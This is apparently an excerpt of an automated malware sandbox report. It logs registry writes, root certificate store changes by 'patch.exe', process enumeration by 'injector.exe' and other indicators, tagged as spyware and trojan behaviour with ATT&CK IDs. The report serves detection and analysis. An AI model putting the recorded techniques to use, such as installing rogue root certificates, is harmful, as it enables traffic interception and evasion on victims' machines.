Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection"	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe

Modifies system certificate store 2 TTPs 9 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

patch.execsrss.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 040000000100000010000000acb694a59c17e0d791529bb19706a6e40f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47419000000010000001000000068cb42b035ea773e52ef50ecf50ec52920000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

file.exepowershell.exeAppLaunch.exedialer.exePP6QxrATY2iSoQm3tJYXaKXj.exePP6QxrATY2iSoQm3tJYXaKXj.exeinjector.execonhost.exepowershell.EXE

pid	process
2648	file.exe
2648	file.exe
1216	powershell.exe
1076	AppLaunch.exe
1076	AppLaunch.exe
828	dialer.exe
828	dialer.exe
828	dialer.exe
828	dialer.exe
1164	PP6QxrATY2iSoQm3tJYXaKXj.exe
2156	PP6QxrATY2iSoQm3tJYXaKXj.exe
2156	PP6QxrATY2iSoQm3tJYXaKXj.exe
2156	PP6QxrATY2iSoQm3tJYXaKXj.exe
2156	PP6QxrATY2iSoQm3tJYXaKXj.exe
2156	PP6QxrATY2iSoQm3tJYXaKXj.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1964	conhost.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1624	powershell.EXE
1700	injector.exe
1624	powershell.EXE
1624	powershell.EXE
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe
1700	injector.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

464

pid	process
464

Suspicious use of AdjustPrivilegeToken 12 IoCs

Processes:

